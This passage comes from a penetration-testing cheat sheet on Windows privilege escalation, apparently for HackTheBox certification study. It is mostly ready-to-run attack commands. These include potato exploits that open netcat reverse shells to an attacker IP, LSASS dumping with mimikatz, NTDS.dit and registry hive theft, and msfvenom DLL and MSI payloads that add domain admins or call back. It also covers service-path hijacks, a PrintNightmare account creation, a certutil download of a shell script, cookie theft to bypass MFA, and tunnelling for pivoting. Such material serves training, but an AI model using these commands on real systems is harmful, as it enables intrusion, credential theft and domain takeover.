context once domain creds exist | -| **SharpHound** | [SharpHound.zip](/downloads/pentest-workflow/SharpHound.zip) ([SHA-256](/downloads/pentest-workflow/SharpHound.zip.sha256) · [GPG signature](/downloads/pentest-workflow/SharpHound.zip.sha256.asc)) | `SharpHound.exe -c All` or `Invoke-BloodHound -CollectionMethod All` (exe + ps1 collector in the zip) | Full BloodHound graph — ACL-abuse edges | -| **PrintSpoofer** | [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc)) | `PrintSpoofer64.exe -i -c cmd` | SeImpersonate → SYSTEM (§2) | -| **mimikatz** | [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc)) | `sekurlsa::logonpasswords`, `lsadump::sam` | Credential extraction once admin/SYSTEM (§8) | - -```batch -:: winPEAS — full run with everything captured to a log file (pull it back and grep) -winPEASx64.exe log -:: quiet variant — no banner, less noise on monitored boxes; full run is the default -winPEASx64.exe quiet -``` - -```powershell -# PowerUp — the classic misconfig sweep; triage output before abusing anything -powershell -ep bypass -Import-Module .\PowerUp.ps1 -Invoke-AllChecks -``` - -> [!info]+ Domain context once creds exist -> `fas:Lightbulb` -> **PowerView** gives instant AD situational awareness: `Get-DomainUser | select samaccountname,description` for cred-stuffed descriptions, `Find-InterestingDomainAcl` for abusable ACEs. **SharpHound** goes further — run the collector, exfil the zip, and load it into **BloodHound** to graph ACL-abuse edges (GenericAll / WriteDacl / ForceChangePassword) and shortest paths to Domain Admin; continuation of that path lives in [12 - Stage 09 - Privilege Escalation](/sheets/pentest-workflow/privilege-escalation). - -> [!warning]+ Defender will see these -> winPEAS/PowerUp/mimikatz signatures are burned into every EDR. On monitored hosts prefer quiet flags, in-memory PowerShell (`iex (iwr ...)`) where authorized, or manual enumeration. In HTB labs, stage in `C:\Windows\Temp` and clean up afterward. - ---- - -## 1 · Situational awareness `fas:Terminal` - -```batch -:: Identity & privileges — run these first -:: SeImpersonate, SeDebug, or SeBackup may be the shortest route. -whoami /priv -whoami /groups -whoami /all -query user & echo %USERNAME% -net user & net localgroup & net localgroup administrators & net accounts - -:: Processes, services and network context -tasklist /svc -:: Loopback listeners reveal local-only services; interfaces/routes reveal pivots. -netstat -ano -ipconfig /all & arp -a & route print -``` - -```powershell -# OS/build, patches and installed applications (avoid Win32_Product side effects) -Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsBuildNumber, OsArchitecture -Get-HotFix | Sort-Object InstalledOn -Descending | Format-Table -AutoSize -$uninstall = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*', - 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' -Get-ItemProperty $uninstall -ErrorAction SilentlyContinue | - Where-Object DisplayName | - Sort-Object DisplayName | - Select-Object DisplayName, DisplayVersion, Publisher - -# Security controls and listening sockets -Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled -Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections -Get-NetTCPConnection -State Listen | Sort-Object LocalPort | - Select-Object LocalAddress, LocalPort, OwningProcess -``` - -> [!tip]+ Automated enumeration (upload to `C:\Windows\Temp` — `BUILTIN\Users` writable) -> `fas:Lightbulb` -> **Bundled kit first — see §0** for transfer, hash verification and usage: **winPEAS** ([winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc)) / [winPEASany.exe](/downloads/pentest-workflow/winPEASany.exe) ([SHA-256](/downloads/pentest-workflow/winPEASany.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASany.exe.sha256.asc))) · **PowerUp** ([PowerUp.ps1](/downloads/pentest-workflow/PowerUp.ps1) ([SHA-256](/downloads/pentest-workflow/PowerUp.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerUp.ps1.sha256.asc))) · **PowerView** ([PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerView.ps1.sha256.asc))). Second opinions: **SharpUp** (`SharpUp.exe audit`) · **Seatbelt** · **WES-NG** (`systeminfo` → CVE) · **Watson** (missing KBs) · **LaZagne** (`lazagne.exe all`) · **SessionGopher** · **Sysinternals** (AccessChk, PipeList). Baseline standard user = only `SeChangeNotifyPrivilege` — anything more is a lead. - ---- - -## 2 · Token privilege abuse `fas:Terminal` - -`whoami /priv` is the gate check for everything in this section — no privilege, no path. - -**`SeImpersonate` / `SeAssignPrimaryToken` → the Potato family** (common from service accounts / `xp_cmdshell`): -```batch -:: PrintSpoofer (bundled: [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc))) — interactive SYSTEM shell -PrintSpoofer64.exe -i -c cmd - -:: PrintSpoofer — reverse-shell callback variant (catch with nc -lnvp 8443) -PrintSpoofer64.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd" - -:: GodPotato — when the Print Spooler is disabled/absent (Server 2019+, Win11) -GodPotato-NET4.exe -cmd "c:\tools\nc.exe 10.10.14.3 8443 -e cmd" - -:: JuicyPotato — pre-1809 only (DCOM/NTLM reflection) -JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t * -``` -> [!info]+ Which potato? — decision note -> `fas:Lightbulb` -> Confirm the build first: `[environment]::OSVersion.Version`. Gate for the whole family is `SeImpersonatePrivilege` (or `SeAssignPrimaryToken`) in `whoami /priv`. -> 1. **PrintSpoofer** (bundled [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc))) — first choice on modern builds; coerces the **Print Spooler** over a named pipe. Needs the Spooler service running. -> 2. **GodPotato** (bundled [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256.asc))) — the fallback when the Spooler is disabled/absent (default on many Server 2019+/Win11 builds); pure DCOM/OXID, broadest coverage (Server 2012–2022, Win8–11). Try it first if others fail. Use `GodPotato-NET35.exe` when the target lacks .NET 4.x. -> 3. **RoguePotato** — legacy OXID resolver trick for when outbound DCOM to your listener is blocked (needs a redirector on port 135). -> 4. **JuicyPotato** — legacy, dead ≥ Server 2019 / Win10 1809 (DCOM hardening); keep for 2016-and-older targets. -> Catch callbacks with `nc -lnvp 8443`. -> Full walk-through — every flag for PrintSpoofer / GodPotato / JuicyPotatoNG / RoguePotato / EfsPotato / SweetPotato, delivery from MSSQL/IIS/WinRM: [Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide). For hiding the kit (or finding data someone else hid) in an Alternate Data Stream: [ADS guide](/sheets/pentest-workflow/alternate-data-streams-guide). - -**`SeDebugPrivilege` → dump LSASS / steal a SYSTEM token:** -```batch -procdump.exe -accepteula -ma lsass.exe lsass.dmp -``` -```text -mimikatz # sekurlsa::minidump lsass.dmp -mimikatz # sekurlsa::logonpasswords -``` -```powershell -# RCE as SYSTEM by parenting off a SYSTEM process (winlogon PID 612) — trailing "" required -.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent((Get-Process "winlogon").Id,"c:\Windows\System32\cmd.exe","") -``` - -**`SeTakeOwnershipPrivilege` → own any file** (two steps — `takeown` then grant): -```powershell -takeown /f 'C:\Department Shares\Private\IT\cred.txt' -icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F -cat 'C:\Department Shares\Private\IT\cred.txt' -``` -Targets: `web.config`, `%WINDIR%\repair\{sam,system}`, `%WINDIR%\system32\config\*`, `.kdbx`. - -**`SeBackupPrivilege` / Backup Operators → NTDS.dit + hives:** - -Create `C:\Tools\shadow.dsh`: - -```text -set context persistent nowriters -add volume C: alias cdrive -create -expose %cdrive% E: -``` - -```batch -diskshadow.exe /s C:\Tools\shadow.dsh -robocopy /B E:\Windows\NTDS C:\Tools\ntds ntds.dit -reg save HKLM\SYSTEM C:\Tools\SYSTEM.SAV /y -reg save HKLM\SAM C:\Tools\SAM.SAV /y -``` - -```powershell -# SeBackupPrivilegeCmdLets alternative after importing the module -Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit -``` -```bash -impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL -``` - -**`SeLoadDriverPrivilege` / Print Operators → Capcom.sys** (dead since Win10 1803): -```batch -reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys" -reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1 -EnableSeLoadDriverPrivilege.exe -ExploitCapcom.exe -``` - ---- - -## 3 · Privileged built-in groups `fas:Terminal` - -**DnsAdmins → malicious DLL loaded by the DNS service (as SYSTEM):** -```bash -msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll -python3 -m http.server 7777 -``` -```batch -:: full path is mandatory -dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll -sc stop dns & sc start dns -net group "Domain Admins" /dom -:: cleanup: reg delete the ServerLevelPluginDll value before restarting -``` - -**Server Operators → hijack a service binPath:** -```batch -sc qc AppReadiness -sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add" -:: Error 1053 may be expected; verify the command side effect. -sc start AppReadiness -net localgroup Administrators -``` - -**Event Log Readers → creds in 4688 process-creation events:** -```powershell -wevtutil qe Security /rd:true /f:text | Select-String "/user" -``` - -**Hyper-V Administrators** → `vmms.exe` restores `.vhdx` perms as SYSTEM (CVE-2018-0952 / CVE-2019-0841): `takeown` a SYSTEM-startable service binary (e.g. Mozilla Maintenance) → replace → `sc start`. - ---- - -## 4 · UAC bypass `fas:Terminal` - -```batch -:: Am I a filtered admin? UAC state? -:: Compare High Mandatory Level with Medium Mandatory Level. -whoami /groups -REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA -REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin -``` -```powershell -[environment]::OSVersion.Version # build → pick the UACMe technique (14393 = 1607 → #54) -``` -DLL-hijack bypass (UACMe #54): drop `srrstr.dll` into user-writable `...\AppData\Local\Microsoft\WindowsApps\` (last in PATH), then trigger the auto-elevating `C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe`. Reference catalogue: **UACMe** (`fodhelper`, `eventvwr`, `computerdefaults`, etc.). - ---- - -## 5 · Weak service & registry permissions `fas:Terminal` - -```batch -:: Enumerate weak service control permissions -SharpUp.exe audit -:: AccessChk: -c service, -w write, -k registry key -accesschk.exe /accepteula -uwcqv "Everyone" * -accesschk.exe /accepteula -quvcw <ServiceName> - -:: Lab proof for a weak service ACL — record and restore the original binPath -sc qc <ServiceName> -sc config <ServiceName> binpath= "cmd /c net localgroup administrators htb-student /add" -:: Error 1053 may be expected; verify the intended side effect. -sc stop <ServiceName> & sc start <ServiceName> - -:: Find writable service registry keys -accesschk.exe /accepteula "<user>" -kvuqsw hklm\System\CurrentControlSet\services -``` - -```powershell -# Unquoted auto-start service paths; verify write access to each path component -Get-CimInstance Win32_Service | - Where-Object { $_.StartMode -eq 'Auto' -and $_.PathName -match '\s' -and $_.PathName -notmatch '^"' } | - Select-Object Name, StartName, State, PathName - -# Weak registry ACL exploitation — record ImagePath before changing it -Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\<Svc> -Name ImagePath -Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\<Svc> -Name "ImagePath" -Value "C:\...\nc.exe -e cmd.exe 10.10.10.205 443" -``` - -> [!warning]+ Restore and verify -> Export the original service configuration first. After a lab proof, restore `binPath`/`ImagePath`, startup type, and service state; then confirm the executable path and ACLs match the baseline. - -PowerUp helpers: `Get-ModifiableServiceFile`, `Get-ServiceUnquoted`, `Get-ModifiableRegistryAutoRun`, `Install-ServiceBinary`. (CVE-2019-1322 UsoSvc.) - ---- - -## 6 · Kernel exploits & missing patches `fas:Terminal` - -> [!warning]+ Kernel sploits are the last resort -> `fas:TriangleExclamation` -> 1. **Exhaust the config paths first** — token privileges, privileged groups, service/registry ACLs, credential hunting. A bluescreen mid-engagement can cost the foothold and the evidence. -> 2. Confirm build + patch level (`systeminfo`, `[environment]::OSVersion.Version`) before committing to a CVE — half the classics below are patched on anything modern. -> 3. If `SeImpersonatePrivilege` is in the token, **GodPotato is the config-free alternative**: no driver load, no kernel write, works Server 2012–2022 / Win8–11 straight from `whoami /priv`. - -```batch -systeminfo > systeminfo.txt -``` - -```powershell -Get-HotFix | Sort-Object InstalledOn -Descending -``` - -```bash -# Run WES-NG from the attack host against the captured systeminfo output -python3 wes.py --update -python3 wes.py systeminfo.txt --impact 'Elevation of Privilege' -``` - -| CVE / Bulletin | Name | Tool | -|---|---|---| -| CVE-2021-36934 | HiveNightmare/SeriousSam | `HiveNightmare.exe` (needs a VSS snapshot) | -| CVE-2021-1675 / 34527 | PrintNightmare | `Invoke-Nightmare` | -| CVE-2020-0668 | Service Tracing file-move | `CVE-2020-0668.exe` (chain w/ DLL load) | -| MS16-032 | Secondary Logon | `Invoke-MS16-032` | -| MS10-092 | Task Scheduler | `ms10_092_schelevator` | -| MS17-010 / MS08-067 | EternalBlue / RPC | (legacy) | - -```powershell -# HiveNightmare — any user if BUILTIN\Users:(I)(RX) on SAM -.\HiveNightmare.exe -# → impacket-secretsdump -sam SAM-* -system SYSTEM-* -security SECURITY-* local - -# PrintNightmare -Import-Module .\CVE-2021-1675.ps1 -Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt" -``` - ---- - -## 7 · DLL hijacking & vulnerable third-party software `fas:Terminal` - -```powershell -# Identify app versions without querying Win32_Product -Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*', - 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' | - Where-Object DisplayName | - Select-Object DisplayName, DisplayVersion, InstallLocation -Get-Service | Where-Object DisplayName -Like 'Druva*' -Get-NetTCPConnection -State Listen | Where-Object LocalPort -eq <port> -``` -Discovery: ProcMon filter `Operation is Load Image` + `Result is NAME NOT FOUND`; static `dumpbin /imports`; PowerUp `Find-ProcessDLLHijack` / `Find-PathDLLHijack`. Then plant a DLL in a writable, earlier-searched dir (the app's own directory is searched first). **DLL proxying** preserves functionality (rename real → `library.o.dll`, forward exports). Loopback RPC services running as SYSTEM (e.g. Druva inSync on 6064) can be command-injected for a SYSTEM shell. - ---- - -## 8 · Credential hunting & pillaging `fas:Terminal` - -```batch -:: Stored credentials, saved sessions and common plaintext locations -cmdkey /list -:: If an approved saved credential exists: runas /savecred /user:DOMAIN\bob "cmd" -findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml - -:: Registry autologon — LSA hands these out to Winlogon at boot -:: Review DefaultUserName, DefaultPassword and DefaultDomainName values. -reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword -reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions\<session> - -:: Unattended-install and Sysprep answer files — classic plaintext admin creds -dir /s /b C:\Windows\Panther\Unattend*.xml 2>nul -dir /s /b C:\Windows\Panther\autounattend.xml 2>nul -dir /s /b C:\Windows\System32\Sysprep\*.xml 2>nul -type C:\Windows\System32\Sysprep\sysprep.inf 2>nul - -:: Wi-Fi profiles -netsh wlan show profile <SSID> key=clear -``` - -```powershell -# PowerShell history and same-user DPAPI-protected CliXML -Get-Content (Get-PSReadLineOption).HistorySavePath -$credential = Import-Clixml -Path 'C:\scripts\pass.xml' -$credential.GetNetworkCredential().Password - -# Browsers / vaults / managers -.\SharpChrome.exe logins /unprotect -.\lazagne.exe all -Import-Module .\SessionGopher.ps1 -Invoke-SessionGopher -Target <host> -# KeePass: keepass2john ILFREIGHT.kdbx → hashcat -m 13400 -# mRemoteNG: %APPDATA%\mRemoteNG\confCons.xml → mremoteng_decrypt.py -s "<blob>" (default master 'mR3m') -``` - -**mimikatz** (bundled [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc))) once you hold admin/SYSTEM — the three workhorse commands: -```text -mimikatz # privilege::debug -mimikatz # sekurlsa::logonpasswords :: plaintext/NTLM/Kerberos material from LSASS -mimikatz # lsadump::sam :: local account hashes from SAM (post-SYSTEM) -mimikatz # lsadump::dcsync htb.local\krbtgt :: DCSync from a DA-equivalent context → krbtgt -``` - -**Offline hive extraction** — works without touching LSASS and survives AV better: -```batch -reg save HKLM\SAM C:\Tools\SAM.SAV /y -reg save HKLM\SYSTEM C:\Tools\SYSTEM.SAV /y -reg save HKLM\SECURITY C:\Tools\SECURITY.SAV /y -``` -```bash -# On the attack host — SECURITY hive adds LSA secrets (service-account creds, cached domain logons) -impacket-secretsdump -sam SAM.SAV -system SYSTEM.SAV -security SECURITY.SAV LOCAL -``` -Cookie theft (bypasses MFA): `Invoke-SharpChromium -Command "cookies slack.com"` (Slack cookie name `d`). Share crawling: **Snaffler**. Mount disks: `guestmount -a disk.vmdk -i --ro /mnt` → `impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL`. - -> [!tip]+ Re-run the hunt after every escalation -> `fas:Lightbulb` -> Credential material is tiered by access: user-readable files → admin-only hives → SYSTEM-only LSASS/LSA secrets → DC-only NTDS.dit. Each step up the ladder unlocks a new pillaging pass — winPEAS's `userinfo`/`filesinfo` and LaZagne find different things as admin than as a user. - ---- - -## 9 · Attacking users, LOLBAS & misc `fas:Terminal` - -```bash -# Force auth from a browsing user, crack NTLMv2 -sudo responder -wrf -v -I tun0 -hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt -``` -Bait files in a writable share: `.scf` (pre-2019) or `.lnk` with `TargetPath = \\<attacker>\@pwn.png` (Server 2019+). Use [LOLBAS](https://lolbas-project.github.io/) to verify the exact function and prerequisites for a native binary; one download example is `certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat`. - -**AlwaysInstallElevated** (needs **both** HKCU + HKLM `= 0x1`): -```batch -reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated -reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated -``` -```bash -msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi -``` -```batch -msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart -``` - -**CVE-2019-1388** (patched Nov 2019): run `hhupd.exe` as admin → *Show publisher certificate* → click the **Issued by** hyperlink → browser opens as SYSTEM → View source → Save As → type `c:\windows\system32\cmd.exe` = SYSTEM shell. - -**Named pipes:** `pipelist.exe /accepteula` / `gci \\.\pipe\` → `accesschk.exe -w \pipe\<name> -v`; a writable SYSTEM-owned pipe + `SeImpersonate` = token theft. - -**Citrix/kiosk breakout:** type `\\127.0.0.1\c$\users\<user>` or `\\<attacker>\share` in a File-name dialog; right-click `.exe` → Open; shortcut Target → `cmd.exe`. - ---- - -## 10 · Scheduled tasks & autoruns `fas:Clock` - -Start with task identity, trigger, run level, executable, arguments, and working directory. A task is only exploitable when a low-privilege user can alter something a higher-privilege principal executes. - -```batch -:: Inventory tasks and export one task as XML for exact paths/arguments -schtasks /query /fo LIST /v -schtasks /query /tn "\Vendor\Updater" /xml - -:: Enumerate startup extensibility with Microsoft Sysinternals -autorunsc64.exe -accepteula -a * -m -s -h -t -``` - -```powershell -# Triage scheduled tasks without mixing CMD syntax into this block -Get-ScheduledTask | ForEach-Object { - $info = $_ | Get-ScheduledTaskInfo - [pscustomobject]@{ - Task = $_.TaskPath + $_.TaskName - Principal = $_.Principal.UserId - RunLevel = $_.Principal.RunLevel - Actions = ($_.Actions.Execute + " " + $_.Actions.Arguments).Trim() - NextRun = $info.NextRunTime - } -} | Format-Table -Wrap - -# Common per-user and machine autorun locations -Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, User, Location -Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run*" -ErrorAction SilentlyContinue -Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run*" -ErrorAction SilentlyContinue -``` - -```batch -:: Check every directory in the action path, plus the final file -icacls "C:\Program Files\Vendor\Updater" -icacls "C:\Program Files\Vendor\Updater\update.exe" -accesschk64.exe -accepteula -qvw "C:\Program Files\Vendor\Updater\update.exe" -accesschk64.exe -accepteula -qvw "C:\Scripts" -``` - -> [!warning]+ Validate safely -> Record the original task XML, executable hash, owner, and ACLs. Prefer a reversible proof such as writing a timestamp to a lab-only file; do not replace production binaries. Restore the artifact and verify its hash and permissions afterward. - ---- - -## Pivot — after SYSTEM `fas:Route` - -A SYSTEM shell on the foothold box is the start of the internal phase, not the end. Two bundled movers cover most pivot topologies: - -> [!tip]+ Post-SYSTEM pivot kit -> `fas:DiagramProject` -> - **chisel** ([chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc))) — fast SOCKS/forward-reverse tunnel over one HTTP connection: `chisel server -p 8000 --reverse` on the attack host, then `chisel.exe client 10.10.14.3:8000 R:socks` on the target; drive tools through `proxychains`. -> - **ligolo-ng** ([ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc))) — full tun-routed pivot (no proxychains, real routing): `proxy -selfcert -laddr 0.0.0.0:11601`, then `agent.exe -connect 10.10.14.3:11601 -ignore-cert`; `session` → `start` and add the route on the tun interface. -> Pair either with `netstat -ano` / `arp -a` from §1 to map reachable internal segments before choosing the tunnel. - ---- - -## CVE quick index `ris:GlobalLine` - -| CVE / Bulletin | Vector | Tool | -|---|---|---| -| CVE-2021-36934 | SAM readable (HiveNightmare) | `HiveNightmare.exe` | -| CVE-2021-1675 / 34527 | PrintNightmare | `Invoke-Nightmare` | -| CVE-2016-0099 (MS16-032) | Secondary Logon | `Invoke-MS16-032` | -| CVE-2010-3338 (MS10-092) | Task Scheduler | `ms10_092_schelevator` | -| CVE-2020-0668 | Service Tracing move | `CVE-2020-0668.exe` | -| CVE-2019-1388 | UAC cert dialog | `hhupd.exe` (manual) | -| CVE-2018-0952 / 2019-0841 | Hyper-V Admins VHD | service-binary swap | -| CVE-2019-1322 | UsoSvc weak perms | `sc config` | - ---- - -## Lessons Learned & gotchas `fas:Lightbulb` - -1. **`whoami /priv` first, every time** — SeImpersonate/SeDebug/SeBackup are the shortest path to SYSTEM. -2. **Run the bundled enum kit before deep manual digging** — winPEAS/PowerUp catch weak service ACLs, unquoted paths, autologon creds and AlwaysInstallElevated in one pass; hash-verify every transfer against `SHA256SUMS.txt` before executing it. -3. **A failed `sc start` (1053) is not a failed exploit** — the `binPath` command already ran; check the side effect. -4. **Match the potato to the build** — JuicyPotato is dead ≥1809; PrintSpoofer needs the Spooler; **GodPotato is broadest** (Server 2012–2022 / Win8–11) and is the answer when the Print Spooler is disabled — try it first. -5. **Two-step take-own** — `takeown` then `icacls /grant`; `cat` fails until the ACL grant runs. -6. **Restore what you change** — service `binPath`, registry `ImagePath`, `ServerLevelPluginDll`; leaving them is a backdoor and a broken service. -7. **DPAPI creds are user-bound** — Clixml, SharpChrome, Chrome cookies only decrypt as the originating user; re-run credential hunts after each escalation (new profiles become readable). -8. **Credential material is tiered** — files → hives (admin) → LSASS/LSA (SYSTEM) → NTDS.dit (DC). Pillage again after every step up. -9. **Many "classics" are patched** — Capcom (1803), CVE-2019-1388 (Nov 2019), SCF NTLM capture (2019). Confirm the build/patch level before committing; kernel sploits are the last resort, not the first. -10. **SYSTEM is a pivot, not a trophy** — map internal listeners and routes, then tunnel with chisel or ligolo-ng before the box is reported done. - -## References `fas:BookOpen` - -1. [HTB Academy — Windows Privilege Escalation](https://academy.hackthebox.com/module/details/67) -2. [PayloadsAllTheThings — Windows PrivEsc](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) -3. [Microsoft — Autoruns and Autorunsc](https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns) · [Microsoft — schtasks](https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks) -4. [PowerSploit/PowerUp](https://github.com/PowerShellMafia/PowerSploit) · [WES-NG](https://github.com/bitsadmin/wesng) · [UACMe](https://github.com/hfiref0x/UACME) -5. [LOLBAS](https://lolbas-project.github.io/) · [WADComs](https://wadcoms.github.io/) · [HackTricks — Windows Local Privilege Escalation](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation) -6. [GTFOBins — Linux/Unix companion](https://gtfobins.org/) -7. [PEASS-ng (winPEAS)](https://github.com/peass-ng/PEASS-ng) · [PrintSpoofer (itm4n)](https://github.com/itm4n/PrintSpoofer) · [GodPotato (BeichenDream)](https://github.com/BeichenDream/GodPotato) -8. [mimikatz (gentilkiwi)](https://github.com/gentilkiwi/mimikatz) · [impacket (fortra)](https://github.com/fortra/impacket) -9. [SharpHound](https://github.com/BloodHoundAD/SharpHound) · [BloodHound](https://github.com/BloodHoundAD/BloodHound) -10. [chisel](https://github.com/jpillora/chisel) · [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - ---- - -[← Previous: Linux PrivEsc](/sheets/pentest-workflow/linux-privesc-cpts) · [Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Next: Web Shells →](/sheets/pentest-workflow/web-shells) - -#HTB #CPTS #WindowsPrivEsc #PrivEsc #PostExploitation